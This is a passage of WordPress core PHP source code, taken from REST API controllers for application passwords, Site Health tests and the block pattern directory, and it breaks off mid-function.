		$fields_update = $this->update_additional_fields_for_object( $item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$item = WP_Application_Passwords::get_user_application_password( $user->ID, $item['uuid'] );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php */
		do_action( 'rest_after_insert_application_password', $item, $request, false );

		$request->set_param( 'context', 'edit' );
		return $this->prepare_item_for_response( $item, $request );
	}

	/**
	 * Checks if a given request has access to delete all application passwords for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_items_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_app_passwords', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete_application_passwords',
				__( 'Sorry, you are not allowed to delete application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes all application passwords for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_items( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$deleted = WP_Application_Passwords::delete_all_application_passwords( $user->ID );

		if ( is_wp_error( $deleted ) ) {
			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted' => true,
				'count'   => $deleted,
			)
		);
	}

	/**
	 * Checks if a given request has access to delete a specific application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_delete_application_password',
				__( 'Sorry, you are not allowed to delete this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes an application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$password = $this->get_application_password( $request );

		if ( is_wp_error( $password ) ) {
			return $password;
		}

		$request->set_param( 'context', 'edit' );
		$previous = $this->prepare_item_for_response( $password, $request );
		$deleted  = WP_Application_Passwords::delete_application_password( $user->ID, $password['uuid'] );

		if ( is_wp_error( $deleted ) ) {
			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);
	}

	/**
	 * Checks if a given request has access to get the currently used application password for a user.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_current_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( get_current_user_id() !== $user->ID ) {
			return new WP_Error(
				'rest_cannot_introspect_app_password_for_non_authenticated_user',
				__( 'The authenticated application password can only be introspected for the current user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves the application password being currently used for authentication of a user.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$uuid = rest_get_authenticated_app_password();

		if ( ! $uuid ) {
			return new WP_Error(
				'rest_no_authenticated_app_password',
				__( 'Cannot introspect application password.' ),
				array( 'status' => 404 )
			);
		}

		$password = WP_Application_Passwords::get_user_application_password( $user->ID, $uuid );

		if ( ! $password ) {
			return new WP_Error(
				'rest_application_password_not_found',
				__( 'Application password not found.' ),
				array( 'status' => 500 )
			);
		}

		return $this->prepare_item_for_response( $password, $request );
	}

	/**
	 * Performs a permissions check for the request.
	 *
	 * @since 5.6.0
	 * @deprecated 5.7.0 Use `edit_user` directly or one of the specific meta capabilities introduced in 5.7.0.
	 *
	 * @param WP_REST_Request $request
	 * @return true|WP_Error
	 */
	protected function do_permissions_check( $request ) {
		_deprecated_function( __METHOD__, '5.7.0' );

		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_manage_application_passwords',
				__( 'Sorry, you are not allowed to manage application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares an application password for a create or update operation.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object|WP_Error The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared = (object) array(
			'name' => $request['name'],
		);

		if ( $request['app_id'] && ! $request['uuid'] ) {
			$prepared->app_id = $request['app_id'];
		}

		/**
		 * Filters an application password before it is inserted via the REST API.
		 *
		 * @since 5.6.0
		 *
		 * @param stdClass        $prepared An object representing a single application password prepared for inserting or updating the database.
		 * @param WP_REST_Request $request  Request object.
		 */
		return apply_filters( 'rest_pre_insert_application_password', $prepared, $request );
	}

	/**
	 * Prepares the application password for the REST response.
	 *
	 * @since 5.6.0
	 *
	 * @param array           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$fields = $this->get_fields_for_response( $request );

		$prepared = array(
			'uuid'      => $item['uuid'],
			'app_id'    => empty( $item['app_id'] ) ? '' : $item['app_id'],
			'name'      => $item['name'],
			'created'   => gmdate( 'Y-m-d\TH:i:s', $item['created'] ),
			'last_used' => $item['last_used'] ? gmdate( 'Y-m-d\TH:i:s', $item['last_used'] ) : null,
			'last_ip'   => $item['last_ip'] ? $item['last_ip'] : null,
		);

		if ( isset( $item['new_password'] ) ) {
			$prepared['password'] = $item['new_password'];
		}

		$prepared = $this->add_additional_fields_to_object( $prepared, $request );
		$prepared = $this->filter_response_by_context( $prepared, $request['context'] );

		$response = new WP_REST_Response( $prepared );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $user, $item ) );
		}

		/**
		 * Filters the REST API response for an application password.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param array            $item     The application password array.
		 * @param WP_REST_Request  $request  The request object.
		 */
		return apply_filters( 'rest_prepare_application_password', $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_User $user The requested user.
	 * @param array   $item The application password.
	 * @return array The list of links.
	 */
	protected function prepare_links( WP_User $user, $item ) {
		return array(
			'self' => array(
				'href' => rest_url(
					sprintf(
						'%s/users/%d/application-passwords/%s',
						$this->namespace,
						$user->ID,
						$item['uuid']
					)
				),
			),
		);
	}

	/**
	 * Gets the requested user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return WP_User|WP_Error The WordPress user associated with the request, or a WP_Error if none found.
	 */
	protected function get_user( $request ) {
		if ( ! wp_is_application_passwords_available() ) {
			return new WP_Error(
				'application_passwords_disabled',
				__( 'Application passwords are not available.' ),
				array( 'status' => 501 )
			);
		}

		$error = new WP_Error(
			'rest_user_invalid_id',
			__( 'Invalid user ID.' ),
			array( 'status' => 404 )
		);

		$id = $request['user_id'];

		if ( 'me' === $id ) {
			if ( ! is_user_logged_in() ) {
				return new WP_Error(
					'rest_not_logged_in',
					__( 'You are not currently logged in.' ),
					array( 'status' => 401 )
				);
			}

			$user = wp_get_current_user();
		} else {
			$id = (int) $id;

			if ( $id <= 0 ) {
				return $error;
			}

			$user = get_userdata( $id );
		}

		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! user_can( $user->ID, 'manage_sites' ) && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		if ( ! wp_is_application_passwords_available_for_user( $user ) ) {
			return new WP_Error(
				'application_passwords_disabled_for_user',
				__( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' ),
				array( 'status' => 501 )
			);
		}

		return $user;
	}

	/**
	 * Gets the requested application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The application password details if found, a WP_Error otherwise.
	 */
	protected function get_application_password( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$password = WP_Application_Passwords::get_user_application_password( $user->ID, $request['uuid'] );

		if ( ! $password ) {
			return new WP_Error(
				'rest_application_password_not_found',
				__( 'Application password not found.' ),
				array( 'status' => 404 )
			);
		}

		return $password;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 5.6.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}

	/**
	 * Retrieves the application password's schema, conforming to JSON Schema.
	 *
	 * @since 5.6.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'application-password',
			'type'       => 'object',
			'properties' => array(
				'uuid'      => array(
					'description' => __( 'The unique identifier for the application password.' ),
					'type'        => 'string',
					'format'      => 'uuid',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'app_id'    => array(
					'description' => __( 'A UUID provided by the application to uniquely identify it. It is recommended to use an UUID v5 with the URL or DNS namespace.' ),
					'type'        => 'string',
					'format'      => 'uuid',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'name'      => array(
					'description' => __( 'The name of the application password.' ),
					'type'        => 'string',
					'required'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'minLength'   => 1,
					'pattern'     => '.*\S.*',
				),
				'password'  => array(
					'description' => __( 'The generated password. Only available after adding an application.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'created'   => array(
					'description' => __( 'The GMT date the application password was created.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'last_used' => array(
					'description' => __( 'The GMT date the application password was last used.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'last_ip'   => array(
					'description' => __( 'The IP address the application password was last used by.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'ip',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Site_Health_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class for interacting with Site Health tests.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Site_Health_Controller extends WP_REST_Controller {

	/**
	 * An instance of the site health class.
	 *
	 * @since 5.6.0
	 *
	 * @var WP_Site_Health
	 */
	private $site_health;

	/**
	 * Site Health controller constructor.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_Site_Health $site_health An instance of the site health class.
	 */
	public function __construct( $site_health ) {
		$this->namespace = 'wp-site-health/v1';
		$this->rest_base = 'tests';

		$this->site_health = $site_health;
	}

	/**
	 * Registers API routes.
	 *
	 * @since 5.6.0
	 * @since 6.1.0 Adds page-cache async test.
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'background-updates'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_background_updates' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'background_updates' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'loopback-requests'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_loopback_requests' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'loopback_requests' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'https-status'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_https_status' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'https_status' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'dotorg-communication'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_dotorg_communication' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'dotorg_communication' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'authorization-header'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_authorization_header' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'authorization_header' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s',
				'directory-sizes'
			),
			array(
				'methods'             => 'GET',
				'callback'            => array( $this, 'get_directory_sizes' ),
				'permission_callback' => function () {
					return $this->validate_request_permission( 'directory_sizes' ) && ! is_multisite();
				},
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'page-cache'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_page_cache' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'page_cache' );
					},
				),
			)
		);
	}

	/**
	 * Validates if the current user can request this REST endpoint.
	 *
	 * @since 5.6.0
	 *
	 * @param string $check The endpoint check being ran.
	 * @return bool
	 */
	protected function validate_request_permission( $check ) {
		$default_capability = 'view_site_health_checks';

		/**
		 * Filters the capability needed to run a given Site Health check.
		 *
		 * @since 5.6.0
		 *
		 * @param string $default_capability The default capability required for this check.
		 * @param string $check              The Site Health check being performed.
		 */
		$capability = apply_filters( "site_health_test_rest_capability_{$check}", $default_capability, $check );

		return current_user_can( $capability );
	}

	/**
	 * Checks if background updates work as expected.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_background_updates() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_background_updates();
	}

	/**
	 * Checks that the site can reach the WordPress.org API.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_dotorg_communication() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_dotorg_communication();
	}

	/**
	 * Checks that loopbacks can be performed.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_loopback_requests() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_loopback_requests();
	}

	/**
	 * Checks that the site's frontend can be accessed over HTTPS.
	 *
	 * @since 5.7.0
	 *
	 * @return array
	 */
	public function test_https_status() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_https_status();
	}

	/**
	 * Checks that the authorization header is valid.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_authorization_header() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_authorization_header();
	}

	/**
	 * Checks that full page cache is active.
	 *
	 * @since 6.1.0
	 *
	 * @return array The test result.
	 */
	public function test_page_cache() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_page_cache();
	}

	/**
	 * Gets the current directory sizes for this install.
	 *
	 * @since 5.6.0
	 *
	 * @return array|WP_Error
	 */
	public function get_directory_sizes() {
		if ( ! class_exists( 'WP_Debug_Data' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
		}

		$this->load_admin_textdomain();

		$sizes_data = WP_Debug_Data::get_sizes();
		$all_sizes  = array( 'raw' => 0 );

		foreach ( $sizes_data as $name => $value ) {
			$name = sanitize_text_field( $name );
			$data = array();

			if ( isset( $value['size'] ) ) {
				if ( is_string( $value['size'] ) ) {
					$data['size'] = sanitize_text_field( $value['size'] );
				} else {
					$data['size'] = (int) $value['size'];
				}
			}

			if ( isset( $value['debug'] ) ) {
				if ( is_string( $value['debug'] ) ) {
					$data['debug'] = sanitize_text_field( $value['debug'] );
				} else {
					$data['debug'] = (int) $value['debug'];
				}
			}

			if ( ! empty( $value['raw'] ) ) {
				$data['raw'] = (int) $value['raw'];
			}

			$all_sizes[ $name ] = $data;
		}

		if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) {
			return new WP_Error( 'not_available', __( 'Directory sizes could not be returned.' ), array( 'status' => 500 ) );
		}

		return $all_sizes;
	}

	/**
	 * Loads the admin textdomain for Site Health tests.
	 *
	 * The {@see WP_Site_Health} class is defined in WP-Admin, while the REST API operates in a front-end context.
	 * This means that the translations for Site Health won't be loaded by default in {@see load_default_textdomain()}.
	 *
	 * @since 5.6.0
	 */
	protected function load_admin_textdomain() {
		// Accounts for inner REST API requests in the admin.
		if ( ! is_admin() ) {
			$locale = determine_locale();
			load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo", $locale );
		}
	}

	/**
	 * Gets the schema for each site health test.
	 *
	 * @since 5.6.0
	 *
	 * @return array The test schema.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->schema;
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'wp-site-health-test',
			'type'       => 'object',
			'properties' => array(
				'test'        => array(
					'type'        => 'string',
					'description' => __( 'The name of the test being run.' ),
					'readonly'    => true,
				),
				'label'       => array(
					'type'        => 'string',
					'description' => __( 'A label describing the test.' ),
					'readonly'    => true,
				),
				'status'      => array(
					'type'        => 'string',
					'description' => __( 'The status of the test.' ),
					'enum'        => array( 'good', 'recommended', 'critical' ),
					'readonly'    => true,
				),
				'badge'       => array(
					'type'        => 'object',
					'description' => __( 'The category this test is grouped in.' ),
					'properties'  => array(
						'label' => array(
							'type'     => 'string',
							'readonly' => true,
						),
						'color' => array(
							'type'     => 'string',
							'enum'     => array( 'blue', 'orange', 'red', 'green', 'purple', 'gray' ),
							'readonly' => true,
						),
					),
					'readonly'    => true,
				),
				'description' => array(
					'type'        => 'string',
					'description' => __( 'A more descriptive explanation of what the test looks for, and why it is important for the user.' ),
					'readonly'    => true,
				),
				'actions'     => array(
					'type'        => 'string',
					'description' => __( 'HTML containing an action to direct the user to where they can resolve the issue.' ),
					'readonly'    => true,
				),
			),
		);

		return $this->schema;
	}
}
<?php
/**
 * Block Pattern Directory REST API: WP_REST_Pattern_Directory_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Controller which provides REST endpoint for block patterns.
 *
 * This simply proxies the endpoint at http://api.wordpress.org/patterns/1.0/. That isn't necessary for
 * functionality, but is desired for privacy. It prevents api.wordpress.org from knowing the user's IP address.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Pattern_Directory_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'pattern-directory';
	}

	/**
	 * Registers the necessary REST API routes.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/patterns',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to view the local block pattern directory.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has permission, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_pattern_directory_cannot_view',
			__( 'Sorry, you are not allowed to browse the local block pattern directory.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Search and retrieve block patterns metadata
	 *
	 * @since 5.8.0
	 * @since 6.0.0 Added 'slug' to request.
	 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		/*
		 * Include an unmodified `$wp_version`, so the API can craft a response that's tailored to
		 * it. Some plugins modify the version in a misguided attempt to improve security by
		 * obscuring the version, which can cause invalid requests.
		 */
		require ABSPATH . WPINC . '/version.php';

		$valid_query_args = array(
			'offset'   => true,
			'order'    => true,
			'orderby'  => true,
			'page'     => true,
			'per_page' => true,
			'search'   => true,
			'slug'     => true,
		);
		$query_args       = array_intersect_key( $request->get_params(), $valid_query_args );

		$query_args['locale']             = get_user_locale();
		$query_args['wp-version']         = $wp_version;
		$query_args['pattern-categories'] = isset( $request['category'] ) ? $request['category'] : false;
		$query_args['pattern-keywords']   = isset( $request['keyword'] ) ? $request['keyword'] : false;

		$query_args = array_filter( $query_args );

		$transient_key = $this->get_transient_key( $query_args );

		/*
		 * Use network-wide transient to improve performance. The locale is the only site
		 * configuration that affects the response, and it's included in the transient key.
		 */
		$raw_patterns = get_site_transient( $transient_key );

		if ( ! $raw_patterns ) {
			$api_url = 'http://api.wordpress.org/patterns/1.0/?' . build_query( $query_args );
			if ( wp_http_supports( array( 'ssl' ) ) ) {
				$api_url = set_url_scheme( $api_url, 'https' );
			}

			/*
			 * Default to a short TTL, to mitigate cache stampedes on high-traffic sites.
			 * This assumes that most errors will be short-lived, e.g., packet loss that causes the
			 * first request to fail, but a follow-up one will succeed. The value should be high
			 * enough to avoid stampedes, but low enough to not interfere with users manually
			 * re-trying a failed request.
			 */
			$cache_ttl      = 5;
			$wporg_response = wp_remote_get( $api_url );
			$raw_patterns   = json_decode( wp_remote_retrieve_body( $wporg_response ) );

			if ( is_wp_error( $wporg_response ) ) {
				$raw_patterns = $wporg_response;

			} elseif ( ! is_array( $raw_patterns ) ) {
				// HTTP request succeeded, but response data is invalid.
				$raw_patterns = new WP_Error(
					'pattern_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					array(
						'response' => wp_remote_retrieve_body( $wporg_response ),
					)
				);

			} else {
				// Response has valid data.
				$cache_ttl = HOUR_IN_SECONDS;
			}

			set_site_transient( $transient_key, $raw_patterns, $cache_ttl );
		}

		if ( is_wp_error( $raw_patterns ) ) {
			$raw_patterns->add_data( array( 'status' => 500 ) );

			return $raw_patterns;
		}

		$response = array();

		if ( $raw_patterns ) {
			foreach ( $raw_patterns as $pattern ) {
				$response[] = $this->prepare_response_for_collection(
					$this->prepare_item_for_response( $pattern, $request )
				);
			}
		}

		return new WP_REST_Response( $response );
	}

	/**
	 * Prepare a raw block pattern before it gets output in a REST API response.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$raw_pattern` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object          $item    Raw pattern from api.wordpress.org, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$raw_pattern = $item;

		$prepared_pattern = array(
			'id'             => absint( $raw_pattern->id ),
			'title'          => sanitize_text_field( $raw_pattern->title->rendered ),
			'content'        => wp_kses_post( $raw_pattern->pattern_content ),
			'categories'     => array_map( 'sanitize_title', $raw_pattern->category_slugs ),
			'keywords'       => array_map( 'sanitize_text_field', explode( ',', $raw_pattern->meta->wpop_keywords ) ),
			'description'    => sanitize_text_field( $raw_pattern->meta->wpop_description ),
			'viewport_width' => absint( $raw_pattern->meta->wpop_viewport_width ),
			'block_types'    => array_map( 'sanitize_text_field', $raw_pattern->meta->wpop_block_types ),
		);

		$prepared_pattern = $this->add_additional_fields_to_object( $prepared_pattern, $request );

		$response = new WP_REST_Response( $prepared_pattern );

		/**
		 * Filters the REST API response for a block pattern.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param object           $raw_pattern The unprepared block pattern.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_block_pattern', $response, $raw_pattern, $request );
	}

	/**
	 * Retrieves the block pattern's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 * @since 6.2.0 Added `'block_types'` to schema.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'pattern-directory-item',
			'type'       => 'object',
			'properties' => array(
				'id'             => array(
					'description' => __( 'The pattern ID.' ),
					'type'        => 'integer',
					'minimum'     => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'title'          => array(
					'description' => __( 'The pattern title, in human readable format.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'content'        => array(
					'description' => __( 'The pattern content.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'categories'     => array(
					'description' => __( "The pattern's category slugs." ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'keywords'       => array(
					'description' => __( "The pattern's keywords." ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'description'    => array(
					'description' => __( 'A description of the pattern.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'viewport_width' => array(
					'description' => __( 'The preferred width of the viewport when previewing a pattern, in pixels.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'block_types'    => array(
					'description' => __( 'The block types which can use this pattern.' ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'embed' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search parameters for the block pattern's collection.
	 *
	 * @since 5.8.0
	 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['per_page']['default'] = 100;
		$query_params['search']['minLength'] = 1;
		$query_params['context']['default']  = 'view';

		$query_params['category'] = array(
			'description' => __( 'Limit results to those matching a category ID.' ),
			'type'        => 'integer',
			'minimum'     => 1,
		);

		$query_params['keyword'] = array(
			'description' => __( 'Limit results to those matching a keyword ID.' ),
			'type'        => 'integer',
			'minimum'     => 1,
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit results to those matching a pattern (slug).' ),
			'type'        => 'array',
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by post attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
				'favorite_count',
			),
		);

		/**
		 * Filter collection parameters for the block pattern directory controller.
		 *
		 * @since 5.8.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_pattern_directory_collection_params', $query_params );
	}

	/*
	 * Include a hash of the query args, so that different requests are stored in
	 * separate caches.
	 *
	 * MD5 is chosen for its speed, low-collision rate, universal availability, and to stay
	 * under the character limit for `_site_transient_timeout_{...}` keys.
	 *
	 * @link https://stackoverflow.com/questions/3665247/fastest-hash-for-non-cryptographic-uses
	 *
	 * @since 6.0.0
	 *
	 * @param array $query_args Query arguments to generate a transient key from.
	 * @return string Transient key.
	 */
	protected function get_transient_key( $query_args ) {

		if ( isset( $query_args['slug'] ) ) {
